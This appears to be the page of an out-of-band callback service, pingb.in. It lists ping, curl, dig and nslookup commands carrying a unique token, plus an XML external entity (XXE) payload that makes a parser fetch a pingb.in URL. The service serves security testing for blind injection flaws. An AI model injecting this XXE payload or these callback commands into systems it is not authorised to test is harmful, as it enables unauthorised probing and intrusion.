$ ping -c1 -p 00d63843ff14ce28b961ef3d3c52dc00 pingb.in
 
$ curl pingb.in/p/d63843ff14ce28b961ef3d3c52dc
 
$ dig d63843ff14ce28b961ef3d3c52dc @pingb.in
 
$ dig d63843ff14ce28b961ef3d3c52dc.ns.pingb.in
 
C:\> nslookup d63843ff14ce28b961ef3d3c52dc pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/d63843ff14ce28b961ef3d3c52dc">]>
    <foo>&xxe;</foo>
 
Waiting for ping...